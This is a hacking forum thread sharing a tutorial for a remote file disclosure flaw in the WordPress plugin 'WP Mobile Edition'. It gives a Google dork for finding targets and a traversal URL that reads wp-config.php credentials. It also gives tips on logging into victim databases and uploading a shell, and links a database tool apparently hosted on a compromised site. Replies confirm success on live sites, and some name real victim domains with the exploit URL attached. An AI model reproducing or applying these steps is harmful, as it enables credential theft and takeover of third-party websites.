

Forum:[Hack Forums](#)

Thread: [\[TUT\] Wordpress Plugin 'WP Mobile Edition' 2.7 - Remote File Disclosure Vulnerability](#)

?k!LLabi?s.~ - April 13, 2015, 8:07 pm

[img]http://1337day.com/img/logo_green.jpg[/img]

Wordpress Plugin - Remote File Disclosure Vulnerability

Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'
You can see the MySQL settings, like this.

Dork:

Quote:- Search on Google
inurl:?fdx_switcher=mobile

- POC

Quote:Exploit view source code wp-config.php

[http://\[server\]/wp-content/themes/mTheme-Unus/css/css.php?files=../../wp-config.php](http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../wp-config.php)

This is a very simple exploit, you can connect to the database and access to wordpress panel next, upload the shell.

- Tips for connecting to database:

If the MySQL host is "localhost", you can see if the FTP/cPanel have the database on the same server, www.example.com/cpanel

DB Kiss (Uploaded by mobile): <http://www.fitsolutions.com.tr/wp-content/themes/vflex/dbkiss2.php>
Source: ExploitDB

Hope you liked it C:

donwanny3 - April 13, 2015, 8:41 pm

is this logger for sale or free? DOES IT work on virtual machine? what cryters are compartible with the logger? waiting to hear from you.can it be purchased using bitcoin ,will be waiting your reply

mObile - April 13, 2015, 9:45 pm

Seen this also, works for meh.. ?

#Skyline - April 14, 2015, 3:05 am

This works for me also :)
It's a great vulnerability.

?k!LLabi?s.~ - April 14, 2015, 12:37 pm

Glad you liked it, is working fine ?

DarkMethods - April 15, 2015, 8:14 am

It's a Good vulnerability, i like your work, for search this, it's workinG Good..

xXNepalmXx - April 15, 2015, 11:11 am

How to connect to the Mysql Database if it's in the localhost of the website?

QaTaRi_RuLeZ - April 15, 2015, 3:31 pm

That's Great Worked :D

-

xXNepalmXx : Try To Read wpconfig ,, and see if it the same details of Ftp Or Cpanel if installed in server :)

xorl - April 15, 2015, 3:40 pm

Why did you feel the need to c/p public exploits from exploit-db? You didn't contribute anything new to the subject so your thread is kinda redundant.

Soulo - April 15, 2015, 4:12 pm

(Apr 15, 2015 11:11 AM)xXNepalmXx Wrote: [\[CITE\]](#) How to connect to the Mysql Database if it's in the localhost of the website?

You can't!!! ??????????????????????

Unless you're connecting from localhost, that is.

Orianthi - April 15, 2015, 6:20 pm

Vouch for this method it works. Very malcious indeed!!`

?k!LLabi?s.~ - April 15, 2015, 7:19 pm

Thank you for all the appreciations, just added a few tips!

ElVirusZ - April 15, 2015, 8:08 pm

Hello,

This Method work really fine!

Thumps up!

rastarockstar - May 6, 2015, 7:41 am

Hi,

I find few site but having problem with mysql task.

superfrugalstephanie
com/wp-content/themes/mTheme-Unus/css/css.php?files=../../wp-config.php

My Sql Host is "localhost" but how to use credential of wp-config to login to mysql, so that upload my shell.

Thanks

rastarockstar - May 10, 2015, 4:08 am

Hi,

Anybody here, please help me. I don't able to connect any single site database. How to connect that, please help me?

Thanks

Th3-J35t3R - May 10, 2015, 8:21 am

i have tried multiple sites and i get a connection error every time. They don't say local host either. How are ppl getting this to work

Lordshami - May 10, 2015, 8:08 pm

Method is working good
thank you mate

john12 - May 11, 2015, 2:05 am

Nice exploit, but useless, as I haven't managed to connect to a single database, and have tried more than 30 websites.

BooGod - May 11, 2015, 6:31 am

Thanks OP for sharing this, can you explain me how to create a shell? Thanks

MNZK0406 - May 23, 2015, 9:18 am

thanks for your sharing. this will be helping me a lot in my works! thanks for decreasing my burden! appreciate all the information that you provide.

bradjose - July 6, 2015, 12:19 am

Thanks man. its help me :)

5416339 - July 6, 2015, 4:42 am

As nice as an exploit this is. There are many things that need to be considered for a successful connection.

1. The sever should allow remote MySQL connection. If it is 'localhost', then there is almost no chances you'll be able to connect even if you figure out the server IP by pinging it.

2. Also, even if it's connected to an external MySQL server, that server might itself just accept request from your victim's server.

Finding a dork which does not fall into the above two categories is a pain and ONLY to those you will be able to connect through the online DBkiss application. Example :

<http://www.mentortechgroup.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../wp-config.php>